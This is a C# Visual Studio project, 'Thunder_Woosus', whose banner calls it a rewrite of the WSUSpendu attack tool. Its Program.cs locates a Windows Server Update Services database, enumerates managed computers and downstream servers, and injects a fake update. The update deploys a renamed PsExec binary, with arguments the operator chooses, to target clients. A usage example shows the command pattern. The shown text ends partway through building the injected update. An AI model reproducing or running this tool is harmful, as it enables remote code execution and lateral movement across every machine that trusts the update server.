├── .gitattributes
├── Thunder_Woosus
├── Properties
│ └── AssemblyInfo.cs
├── Thunder_Woosus.csproj
└── Program.cs
└── Thunder_Woosus.sln
/.gitattributes:
--------------------------------------------------------------------------------
1 | # Auto detect text files and perform LF normalization
2 | * text=auto
3 |
--------------------------------------------------------------------------------
/Thunder_Woosus/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("Thunder_Woosus")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Thunder_Woosus")]
13 | [assembly: AssemblyCopyright("Copyright © 2018")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("f18e6581-b6b0-48fa-94fb-c3b26abd8ff7")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Thunder_Woosus.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.27130.2026
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Thunder_Woosus", "Thunder_Woosus\Thunder_Woosus.csproj", "{F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Debug|x64 = Debug|x64
12 | Debug|x86 = Debug|x86
13 | Release|Any CPU = Release|Any CPU
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | x64|Any CPU = x64|Any CPU
17 | x64|x64 = x64|x64
18 | x64|x86 = x64|x86
19 | EndGlobalSection
20 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
21 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
22 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Debug|Any CPU.Build.0 = Debug|Any CPU
23 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Debug|x64.ActiveCfg = Debug|x64
24 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Debug|x64.Build.0 = Debug|x64
25 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Debug|x86.ActiveCfg = Debug|x86
26 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Debug|x86.Build.0 = Debug|x86
27 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Release|Any CPU.ActiveCfg = Release|Any CPU
28 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Release|Any CPU.Build.0 = Release|Any CPU
29 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Release|x64.ActiveCfg = Release|x64
30 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Release|x64.Build.0 = Release|x64
31 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Release|x86.ActiveCfg = Release|x86
32 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.Release|x86.Build.0 = Release|x86
33 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.x64|Any CPU.ActiveCfg = x64|Any CPU
34 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.x64|Any CPU.Build.0 = x64|Any CPU
35 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.x64|x64.ActiveCfg = x64|x64
36 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.x64|x64.Build.0 = x64|x64
37 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.x64|x86.ActiveCfg = x64|x86
38 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}.x64|x86.Build.0 = x64|x86
39 | EndGlobalSection
40 | GlobalSection(SolutionProperties) = preSolution
41 | HideSolutionNode = FALSE
42 | EndGlobalSection
43 | GlobalSection(ExtensibilityGlobals) = postSolution
44 | SolutionGuid = {21F7072C-AA32-4F1E-8CFD-C3F9C80CDEFF}
45 | EndGlobalSection
46 | EndGlobal
47 |
--------------------------------------------------------------------------------
/Thunder_Woosus/Thunder_Woosus.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {F18E6581-B6B0-48FA-94FB-C3B26ABD8FF7}
8 | Exe
9 | Thunder_Woosus
10 | Thunder_Woosus
11 | v3.5
12 | 512
13 |
14 |
15 | AnyCPU
16 | true
17 | full
18 | false
19 | bin\Debug\
20 | DEBUG;TRACE
21 | prompt
22 | 4
23 |
24 |
25 | AnyCPU
26 | pdbonly
27 | true
28 | bin\Release\
29 | TRACE
30 | prompt
31 | 4
32 |
33 |
34 | true
35 | bin\x64\
36 | DEBUG;TRACE
37 | full
38 | AnyCPU
39 | prompt
40 | MinimumRecommendedRules.ruleset
41 |
42 |
43 | true
44 | bin\x64\Debug\
45 | DEBUG;TRACE
46 | full
47 | x64
48 | prompt
49 | MinimumRecommendedRules.ruleset
50 |
51 |
52 | bin\x64\Release\
53 | TRACE
54 | true
55 | pdbonly
56 | x64
57 | prompt
58 | MinimumRecommendedRules.ruleset
59 |
60 |
61 | true
62 | bin\x64\x64\
63 | DEBUG;TRACE
64 | full
65 | x64
66 | prompt
67 | MinimumRecommendedRules.ruleset
68 |
69 |
70 | true
71 | bin\x86\Debug\
72 | DEBUG;TRACE
73 | full
74 | x86
75 | prompt
76 | MinimumRecommendedRules.ruleset
77 |
78 |
79 | bin\x86\Release\
80 | TRACE
81 | true
82 | pdbonly
83 | x86
84 | prompt
85 | MinimumRecommendedRules.ruleset
86 |
87 |
88 | true
89 | bin\x86\x64\
90 | DEBUG;TRACE
91 | full
92 | x86
93 | prompt
94 | MinimumRecommendedRules.ruleset
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
--------------------------------------------------------------------------------
/Thunder_Woosus/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Data.SqlClient;
4 | using System.IO;
5 | using System.Security.Cryptography;
6 | using System.Runtime.InteropServices;
7 | using System.Net;
8 | using System.Web;
9 |
10 | namespace Thunder_Woosus
11 | {
12 | //https://social.msdn.microsoft.com/Forums/vstudio/en-US/24792cdc-2d8e-454b-9c68-31a19892ca53/how-to-check-whether-the-system-is-32-bit-or-64-bit-?forum=csharpgeneral
13 | //https://www.roelvanlisdonk.nl/2010/01/08/how-to-read-the-64-bit-x64-part-of-the-registry-from-a-32-bits-x86-c-application/
14 | //https://stackoverflow.com/questions/2039186/reading-the-registry-and-wow6432node-key/18772256#18772256
15 | #region RegHelper
16 | enum RegSAM
17 | {
18 | QueryValue = 0x0001,
19 | SetValue = 0x0002,
20 | CreateSubKey = 0x0004,
21 | EnumerateSubKeys = 0x0008,
22 | Notify = 0x0010,
23 | CreateLink = 0x0020,
24 | WOW64_32Key = 0x0200,
25 | WOW64_64Key = 0x0100,
26 | WOW64_Res = 0x0300,
27 | Read = 0x00020019,
28 | Write = 0x00020006,
29 | Execute = 0x00020019,
30 | AllAccess = 0x000f003f
31 | }
32 | static class RegHive
33 | {
34 | public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
35 | public static UIntPtr HKEY_CURRENT_USER = new UIntPtr(0x80000001u);
36 | }
37 | static class RegistryWOW6432
38 | {
39 | [DllImport("Advapi32.dll")]
40 | static extern uint RegOpenKeyEx(UIntPtr hKey, string lpSubKey, uint ulOptions, int samDesired, out int phkResult);
41 |
42 | [DllImport("Advapi32.dll")]
43 | static extern uint RegCloseKey(int hKey);
44 |
45 | [DllImport("advapi32.dll", EntryPoint = "RegQueryValueEx")]
46 | public static extern uint RegQueryValueEx(int hKey, string lpValueName, int lpReserved, ref uint lpType, System.Text.StringBuilder lpData, ref uint lpcbData);
47 |
48 | static public string GetRegKey64(UIntPtr inHive, String inKeyName, string inPropertyName)
49 | {
50 | return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_64Key, inPropertyName);
51 | }
52 |
53 | static public string GetRegKey32(UIntPtr inHive, String inKeyName, string inPropertyName)
54 | {
55 | return GetRegKey64(inHive, inKeyName, RegSAM.WOW64_32Key, inPropertyName);
56 | }
57 |
58 | public static string GetRegKey64(UIntPtr inHive, String inKeyName, RegSAM in32or64key, string inPropertyName)
59 | {
60 | //UIntPtr HKEY_LOCAL_MACHINE = (UIntPtr)0x80000002;
61 | int hkey = 0;
62 |
63 | try
64 | {
65 | uint lResult = RegOpenKeyEx(RegHive.HKEY_LOCAL_MACHINE, inKeyName, 0, (int)RegSAM.QueryValue | (int)in32or64key, out hkey);
66 | if (0 != lResult)
67 | {
68 | return "ERROR_FILE_NOT_FOUND";
69 | }
70 | uint lpType = 0;
71 | uint lpcbData = 1024;
72 | StringBuilder AgeBuffer = new StringBuilder(1024);
73 | uint lResultv = RegQueryValueEx(hkey, inPropertyName, 0, ref lpType, AgeBuffer, ref lpcbData);
74 | if(lResultv != 0)
75 | {
76 | return "ERROR_FILE_NOT_FOUND";
77 | }
78 | byte[] arr = System.Text.Encoding.ASCII.GetBytes(AgeBuffer.ToString());
79 | return ByteArrayToString(arr);
80 | }
81 | finally
82 | {
83 | if (0 != hkey) RegCloseKey(hkey);
84 | }
85 | }
86 | public static string ByteArrayToString(byte[] ba)
87 | {
88 | if (BitConverter.IsLittleEndian)
89 | Array.Reverse(ba);
90 |
91 | string hex = BitConverter.ToString(ba);
92 | return hex.Replace("-", "");
93 | }
94 | }
95 | #endregion
96 | public class ClWSUS
97 | {
98 | public bool bWSUSInstalled = true;
99 | public string sOS;
100 | public string sDatabaseInstance;
101 | public string sDatabaseName;
102 | public string sLocalContentCacheLocation;
103 | public string sComputerName;
104 | public int iPortNumber;
105 | public bool bSSL;
106 | public string sTargetComputerID;
107 | public int sTargetComputerTargetID; //I know
108 |
109 | public ClWSUS()
110 | {
111 | FvCheckSSL();
112 | FvFullComputerName();
113 | FvOSDetails();
114 | FvDatabaseBaseName();
115 | FvContentDirectory();
116 | }
117 | public void FvContentDirectory()
118 | {
119 | //Next revision, we'll make this a generic function
120 | string sContentDirectoryTemp = string.Empty;
121 | sContentDirectoryTemp = RegistryWOW6432.GetRegKey64(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir");
122 | if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND")
123 | {
124 | sContentDirectoryTemp = RegistryWOW6432.GetRegKey32(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "ContentDir");
125 | if (sContentDirectoryTemp == "ERROR_FILE_NOT_FOUND")
126 | {
127 | bWSUSInstalled = false;
128 | Console.WriteLine("Something went wrong, unable to detect SQL details from registry. Probably my fault");
129 | return;
130 | }
131 | }
132 | sContentDirectoryTemp = HEX2ASCII(sContentDirectoryTemp);
133 | sContentDirectoryTemp = ReverseString(sContentDirectoryTemp);
134 | sLocalContentCacheLocation = Environment.ExpandEnvironmentVariables(sContentDirectoryTemp);
135 | return;
136 | }
137 | public void FvFullComputerName()
138 | {
139 | sComputerName = Dns.GetHostEntry("LocalHost").HostName;
140 | }
141 | public void FvDatabaseBaseName()
142 | {
143 | //Next revision, we'll make this a generic function
144 | string sDBServerTemp = string.Empty;
145 | sDBServerTemp = RegistryWOW6432.GetRegKey64(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName");
146 | if (sDBServerTemp == "ERROR_FILE_NOT_FOUND")
147 | {
148 | sDBServerTemp = RegistryWOW6432.GetRegKey32(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlServerName");
149 | if (sDBServerTemp == "ERROR_FILE_NOT_FOUND")
150 | {
151 | bWSUSInstalled = false;
152 | Console.WriteLine("Something went wrong, unable to detect SQL details from registry. Probably my fault");
153 | return;
154 | }
155 | }
156 | sDBServerTemp = HEX2ASCII(sDBServerTemp);
157 | sDatabaseInstance = ReverseString(sDBServerTemp);
158 |
159 | //So Painful
160 | string sDBNameTemp = string.Empty; //I know
161 | sDBNameTemp = RegistryWOW6432.GetRegKey64(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName");
162 | if (sDBNameTemp == "ERROR_FILE_NOT_FOUND")
163 | {
164 | sDBNameTemp = RegistryWOW6432.GetRegKey32(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "SqlDatabaseName");
165 | if (sDBNameTemp == "ERROR_FILE_NOT_FOUND")
166 | {
167 | bWSUSInstalled = false;
168 | Console.WriteLine("Something went wrong, unable to detect SQL details from registry. Probably my fault");
169 | return;
170 | }
171 | }
172 | sDBNameTemp = HEX2ASCII(sDBNameTemp);
173 | sDatabaseName = ReverseString(sDBNameTemp);
174 | return;
175 | }
176 | public void FvOSDetails()
177 | {
178 | string sOSTemp = string.Empty; //I know
179 | sOSTemp = RegistryWOW6432.GetRegKey64(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName");
180 | if (sOSTemp == "ERROR_FILE_NOT_FOUND")
181 | {
182 | sOSTemp = RegistryWOW6432.GetRegKey32(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName");
183 | if (sOSTemp == "ERROR_FILE_NOT_FOUND")
184 | {
185 | bWSUSInstalled = false;
186 | Console.WriteLine("Something went wrong, unable to detect OS version. Probably my fault");
187 | return;
188 | }
189 | }
190 | //So much Jank!
191 | sOSTemp = HEX2ASCII(sOSTemp);
192 | sOS = ReverseString(sOSTemp);
193 | }
194 | public void FvCheckSSL()
195 | {
196 | //There is a better way to do this. NET4.0 is much easier but trying to keep it 3.5
197 | string sSSLTemp = string.Empty; //I know
198 | sSSLTemp = RegistryWOW6432.GetRegKey64(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL");
199 | if (sSSLTemp == "ERROR_FILE_NOT_FOUND")
200 | {
201 | sSSLTemp = RegistryWOW6432.GetRegKey32(RegHive.HKEY_LOCAL_MACHINE, @"SOFTWARE\Microsoft\Update Services\Server\setup", "UsingSSL");
202 | if (sSSLTemp == "ERROR_FILE_NOT_FOUND")
203 | {
204 | bWSUSInstalled = false;
205 | return;
206 | }
207 | }
208 | if (sSSLTemp == "01")
209 | {
210 | bSSL = true;
211 | }
212 | else
213 | {
214 | bSSL = false;
215 | }
216 | }
217 | //https://stackoverflow.com/questions/17637950/convert-string-of-hex-to-string-of-little-endian-in-c-sharp
218 | public string HEX2ASCII(string hex)
219 | {
220 | string res = String.Empty;
221 | for (int a = 0; a < hex.Length; a = a + 2)
222 | {
223 | string Char2Convert = hex.Substring(a, 2);
224 | int n = Convert.ToInt32(Char2Convert, 16);
225 | char c = (char)n;
226 | res += c.ToString();
227 | }
228 | return res;
229 | }
230 | //https://www.dotnetperls.com/reverse-string
231 | public static string ReverseString(string s)
232 | {
233 | char[] arr = s.ToCharArray();
234 | Array.Reverse(arr);
235 | return new string(arr);
236 | }
237 | }
238 | public class ClGuid
239 | {
240 | public Guid gUpdate;
241 | public Guid gBundle;
242 | public Guid gTargetGroup;
243 | public ClGuid()
244 | {
245 | gUpdate = Guid.NewGuid();
246 | gBundle = Guid.NewGuid();
247 | gTargetGroup = Guid.NewGuid();
248 | }
249 | }
250 | public class ClFile
251 | {
252 | public string sFileName;
253 | public string sPayload;
254 | public string sFilePath;
255 | public string sArgs;
256 | public long lSize;
257 | public string sSHA1;
258 | public string sSHA256;
259 |
260 | public ClFile(string sPFileName, string sPFilePath, string sPArgs, string sContentLocation, bool bPCopyFile)
261 | {
262 | //Console.WriteLine(sContentLocation);
263 | sFileName = sPFileName;
264 | sFilePath = sPFilePath;
265 | sArgs = HttpUtility.HtmlEncode(HttpUtility.HtmlEncode(sPArgs));
266 | if (bPCopyFile == true)
267 | {
268 | FbCopyFile(sFilePath, sContentLocation);
269 | }
270 | lSize = new System.IO.FileInfo(sFilePath).Length;
271 | sSHA1 = GetBase64EncodedSHA1Hash(sFilePath);
272 | sSHA256 = GetBase64EncodedSHA256Hash(sFilePath);
273 | }
274 | static bool FbCopyFile(string sFilePath, string sContentLocation)
275 | {
276 | try
277 | {
278 | //Console.WriteLine(sFilePath);
279 | //Console.WriteLine(sContentLocation);
280 | File.Copy(sFilePath, sContentLocation + @"\wuagent.exe");
281 | return true;
282 | }
283 | catch
284 | {
285 | return false;
286 | }
287 | }
288 | //https://stackoverflow.com/questions/19150468/get-sha1-binary-base64-hash-of-a-file-on-c-sharp/19150543
289 | public string GetBase64EncodedSHA1Hash(string filename)
290 | {
291 | FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read);
292 | SHA1Managed sha1 = new SHA1Managed();
293 | {
294 | return Convert.ToBase64String(sha1.ComputeHash(fs));
295 | }
296 | }
297 | public string GetBase64EncodedSHA256Hash(string filename)
298 | {
299 | FileStream fs = new FileStream(filename, FileMode.Open, FileAccess.Read, FileShare.Read);
300 | SHA256Managed sha256 = new SHA256Managed();
301 | {
302 | return Convert.ToBase64String(sha256.ComputeHash(fs));
303 | }
304 | }
305 | }
306 | public class ClCLI
307 | {
308 | public bool bVerbose = false;
309 | public bool bEnumComps = false;
310 | public bool bEnumDS = false;
311 | public bool bTargetComputer = false;
312 | public bool bManualApproval = false;
313 | public bool bDeleteUpdate = false;
314 | public bool bFilePath = false;
315 | public bool bArgs = false;
316 | public bool bPayload = false;
317 | public bool bLocalPath = false;
318 | public string sBundleGUID = string.Empty;
319 | public string sCliTargetComputer = string.Empty;
320 | public string sCliPayload = string.Empty;
321 | public string sCliFileName = string.Empty;
322 | public string sCliFilePath = string.Empty;
323 | public string sCliArgs = string.Empty;
324 | public ClCLI()
325 | {
326 | Console.WriteLine("############################# WSUSTool #############################");
327 | Console.WriteLine(@"C# Re-Write of WSUSpendu - https://github.com/AlsidOfficial/WSUSpendu with some extras");
328 | Console.WriteLine("####################################################################\r\n");
329 | }
330 | public bool FbCLIInterface(string[] args)
331 | {
332 | if (args.Length == 0)
333 | {
334 | return false;
335 | }
336 | for(int i = 0; i < args.Length; i++)
337 | {
338 | switch(args[i].ToLower())
339 | {
340 | case "-verbose":
341 | bVerbose = true;
342 | break;
343 | case "-enumeratecomputers":
344 | Console.WriteLine("Enumerating WSUS client computers.");
345 | bEnumComps = true;
346 | break;
347 | case "-enumeratedownstream":
348 | Console.WriteLine("Enumerating downstream servers.");
349 | bEnumDS = true;
350 | break;
351 | /*
352 | case "-targetcomputer":
353 | Console.WriteLine("Targeting Single System with FQDN");
354 | bTargetComputer = true;
355 | sCliTargetComputer = args[i + 1];
356 | break;
357 | */
358 | case "-manualapproval":
359 | Console.WriteLine("Injecting update for manual targeting.");
360 | bManualApproval = true;
361 | break;
362 | case "-deleteupdate":
363 | Console.WriteLine("Deleting Update");
364 | bDeleteUpdate = true;
365 | sBundleGUID = args[i + 1];
366 | break;
367 | case "-payload":
368 | sCliPayload = args[i + 1].ToLower();
369 | if(sCliPayload == "psexec")
370 | {
371 | bPayload = true;
372 | }
373 | break;
374 | case "-args":
375 | sCliArgs = args[i + 1].Replace("'","\"");
376 | bArgs = true;
377 | break;
378 | case "-localpath":
379 | sCliFilePath = args[i + 1];
380 | sCliFileName = System.IO.Path.GetFileName(sCliFilePath);
381 | bLocalPath = true;
382 | break;
383 | }
384 | }
385 | if (bManualApproval == true)
386 | {
387 | if (bArgs == true && bPayload == true && bLocalPath == true)
388 | {
389 | if(sCliPayload == "psexec")
390 | {
391 | if(sCliFileName.ToLower() != "psexec.exe")
392 | {
393 | Console.WriteLine("Rename the filename to psexec.exe");
394 | return false;
395 | }
396 | }
397 | Console.WriteLine("Using {0} locally located at {1}", sCliFileName, sCliFilePath);
398 | return true;
399 | }
400 | else
401 | {
402 | Console.WriteLine("Deploying update requires payload, local path, and arguments.");
403 | return false;
404 | }
405 | }
406 | return true;
407 | }
408 | public void FvPrintUsage()
409 | {
410 | Console.WriteLine("\r\n############################# Usage ################################");
411 | Console.WriteLine("Enumerate All WSUS Clients:\t\tThunder_Woosus.exe -EnumerateComputers");
412 | Console.WriteLine("Enumerate Downstream Servers:\t\tThunder_Woosus.exe -EnumerateDownstream");
413 | //Console.WriteLine("Target Computer with FQDN:\t\tThunder_Woosus.exe -TargetComputer testmachine.testdomain.local");
414 | Console.WriteLine("Manually Target Systems:\t\tThunder_Woosus.exe -ManualApproval -Payload psexec -LocalPath \"C:\\windows\\temp\\psexec.exe\" -Args \"-d -accepteula cmd.exe /c 'echo testing123 > c:\\cpl.txt'\"");
415 | Console.WriteLine("Delete Target Update:\t\t\tThunder_Woosus.exe -DeleteUpdate *BundleID*");
416 | }
417 | }
418 | public struct StUpdate
419 | {
420 | public int iRevisionID;
421 | public string sTitle;
422 | public string sMSRCSeverity;
423 | public string sMSRCNumber;
424 | public string sClassification;
425 | public string sReleaseDate;
426 | public string sKBNumbers;
427 | public string sProducts;
428 | public string sDescription;
429 | public string sURL;
430 | }
431 | class Program
432 | {
433 | public static ClWSUS clWSUSData = new ClWSUS();
434 | public static ClGuid clGuidData = new ClGuid();
435 | public static StUpdate stUpdateData = new StUpdate();
436 | public static ClCLI clCLI = new ClCLI();
437 | static SqlConnection FsqlConnection()
438 | {
439 | SqlConnection sqlcQuery = new SqlConnection();
440 | if(clWSUSData.sOS.Contains("Server 2008"))
441 | {
442 | //No Windows 2008 WSUS Server in the lab. Going to leave the SQL instance hardcoded.
443 | sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\MSSQL$MICROSOFT##SSEE\sql\query;Database=" + clWSUSData.sDatabaseName + @";Integrated Security=True";
444 | }
445 | //'Server=np:\\.\pipe\MICROSOFT##WID\tsql\query;Database=SUSDB;Integrated Security=True'
446 | else if (clWSUSData.sOS.Contains("Server 2012"))
447 | {
448 | sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\" + clWSUSData.sDatabaseInstance + @"\tsql\query;Database=" + clWSUSData.sDatabaseName + @";Integrated Security=True";
449 | }
450 | else if (clWSUSData.sOS.Contains("Server 2016"))
451 | {
452 | sqlcQuery.ConnectionString = @"Server=np:\\.\pipe\" + clWSUSData.sDatabaseInstance + @"\tsql\query;Database=" + clWSUSData.sDatabaseName + @"; Integrated Security=True";
453 | }
454 | else
455 | {
456 | Console.WriteLine("Issue while detecting OS in the FsqlConnection, could be an issue with the OS could be my fault. We are checking for 2008, 2012, 2016.");
457 | return null;
458 | }
459 |
460 | try
461 | {
462 | sqlcQuery.Open();
463 | }
464 | catch
465 | {
466 | Console.WriteLine("\r\nFunction error - FsqlConnection.");
467 | return null;
468 | }
469 | return sqlcQuery;
470 | }
471 | static bool FbGetWSUSConfigSQL(SqlCommand sqlCommFun)
472 | {
473 | SqlDataReader sqldrReader;
474 | sqlCommFun.CommandText = "exec spConfiguration";
475 | try
476 | {
477 | //Gather Information via SQL
478 | sqldrReader = sqlCommFun.ExecuteReader();
479 | if (sqldrReader.Read())
480 | {
481 | clWSUSData.sLocalContentCacheLocation = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("LocalContentCacheLocation"));
482 | clWSUSData.iPortNumber = (int)sqldrReader.GetValue(sqldrReader.GetOrdinal("ServerPortNumber"));
483 | if (clCLI.bVerbose == true)
484 | {
485 | Console.WriteLine("################# WSUS Server Enumeration via SQL ##################");
486 | Console.WriteLine("ServerName, WSUSPortNumber, WSUSContentLocation");
487 | Console.WriteLine("-----------------------------------------------");
488 | Console.WriteLine("{0}, {1}, {2}", Environment.MachineName, clWSUSData.iPortNumber, clWSUSData.sLocalContentCacheLocation);
489 | }
490 | sqldrReader.Close();
491 | return true;
492 | }
493 | return false;
494 | }
495 | catch
496 | {
497 | Console.WriteLine("\r\nFunction error - FbGetWSUSConfigSQL.");
498 | return false;
499 | }
500 | }
501 | static bool FbGetComputerTarget(SqlCommand sqlCommFun, string sTargetComputer)
502 | {
503 | SqlDataReader sqldrReader;
504 | sqlCommFun.CommandText = "exec spGetComputerTargetByName @fullDomainName = N'" + sTargetComputer + "'";
505 | try
506 | {
507 | Console.WriteLine("\r\nTargeting {0}", sTargetComputer);
508 | if (clCLI.bVerbose == true)
509 | {
510 | Console.WriteLine("TargetComputer, ComputerID, TargetID");
511 | Console.WriteLine("------------------------------------");
512 | }
513 | sqldrReader = sqlCommFun.ExecuteReader();
514 | if(sqldrReader.Read())
515 | {
516 | clWSUSData.sTargetComputerID = (string)sqldrReader.GetValue(sqldrReader.GetOrdinal("ComputerID"));
517 | if(clWSUSData.sTargetComputerID.Length != 0)
518 | {
519 | sqldrReader.Close();
520 | sqlCommFun.CommandText = "SELECT dbo.fnGetComputerTargetID('" + clWSUSData.sTargetComputerID + "')";
521 | sqldrReader = sqlCommFun.ExecuteReader();
522 | if (sqldrReader.Read())
523 | {
524 | clWSUSData.sTargetComputerTargetID = (int)sqldrReader.GetValue(0);
525 | if (clCLI.bVerbose == true)
526 | {
527 | Console.WriteLine("{0}, {1}, {2}", sTargetComputer, clWSUSData.sTargetComputerID, clWSUSData.sTargetComputerTargetID);
528 | }
529 | sqldrReader.Close();
530 | return true;
531 | }
532 | else
533 | {
534 | Console.WriteLine("Internal WSUS database error - Target computer {0} has ComputerID {1} but does not have TargetID", sTargetComputer.Length, clWSUSData.sTargetComputerID);
535 | sqldrReader.Close();
536 | return false;
537 | }
538 | }
539 | else
540 | {
541 | Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer);
542 | sqldrReader.Close();
543 | return false;
544 | }
545 | }
546 | else
547 | {
548 | Console.WriteLine("Target computer cannot be found: {0}", sTargetComputer);
549 | return false;
550 | }
551 |
552 | }
553 | catch
554 | {
555 | Console.WriteLine("\r\nFunction error - FbGetComputerTarget.");
556 | }
557 | return false;
558 | }
559 | static bool FbEnumAllComputers(SqlCommand sqlCommFun)
560 | {
561 | SqlDataReader sqldrReader;
562 | sqlCommFun.CommandText = "exec spGetAllComputers";
563 | try
564 | {
565 | Console.WriteLine("####################### Computer Enumeration #######################");
566 | Console.WriteLine("ComputerName, IPAddress, OSVersion, LastCheckInTime");
567 | Console.WriteLine("---------------------------------------------------");
568 | sqldrReader = sqlCommFun.ExecuteReader();
569 | int count = sqldrReader.FieldCount;
570 | while (sqldrReader.Read())
571 | {
572 | Console.WriteLine("{0}, {1}, {2}, {3}", sqldrReader.GetValue(sqldrReader.GetOrdinal("FullDomainName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("IPAddress")), sqldrReader.GetValue(sqldrReader.GetOrdinal("ClientVersion")), sqldrReader.GetValue(sqldrReader.GetOrdinal("LastReportedStatusTime")));
573 | }
574 | sqldrReader.Close();
575 | return true;
576 | }
577 | catch
578 | {
579 | Console.WriteLine("\r\nFunction error - FbEnumAllComputers.");
580 | }
581 | return false;
582 | }
583 | static bool FbEnumDownStream(SqlCommand sqlCommFun)
584 | {
585 | SqlDataReader sqldrReader;
586 | sqlCommFun.CommandText = "exec spGetAllDownstreamServers";
587 | try
588 | {
589 | Console.WriteLine("####################### Downstream Server Enumeration #######################");
590 | Console.WriteLine("ComputerName, OSVersion, LastCheckInTime");
591 | Console.WriteLine("---------------------------------------------------");
592 | sqldrReader = sqlCommFun.ExecuteReader();
593 | int count = sqldrReader.FieldCount;
594 | while (sqldrReader.Read())
595 | {
596 | Console.WriteLine("{0}, {1}, {2}", sqldrReader.GetValue(sqldrReader.GetOrdinal("AccountName")), sqldrReader.GetValue(sqldrReader.GetOrdinal("Version")), sqldrReader.GetValue(sqldrReader.GetOrdinal("RollupLastSyncTime")));
597 | }
598 | sqldrReader.Close();
599 | return true;
600 | }
601 | catch
602 | {
603 | Console.WriteLine("\r\nFunction error - FbEnumDownStream.");
604 | }
605 | return false;
606 | }
607 | static bool FbImportUpdate(SqlCommand sqlCommFun, ClFile clFileData)
608 | {
609 | System.Data.DataTable dtDataTbl = new System.Data.DataTable();
610 | SqlDataReader sqldrReader;
611 | StringBuilder sbUpdate = new StringBuilder();
612 |
613 | sbUpdate.AppendLine(@"declare @iImported int");
614 | sbUpdate.AppendLine(@"declare @iLocalRevisionID int");
615 | sbUpdate.AppendLine(@"exec spImportUpdate @UpdateXml=N'");
616 | sbUpdate.AppendLine(@"");
617 | sbUpdate.AppendLine("\t" + @"");
618 | sbUpdate.AppendLine("\t" + @"");
619 | sbUpdate.AppendLine("\t\t" + @"");
620 | sbUpdate.AppendLine("\t\t" + @"");
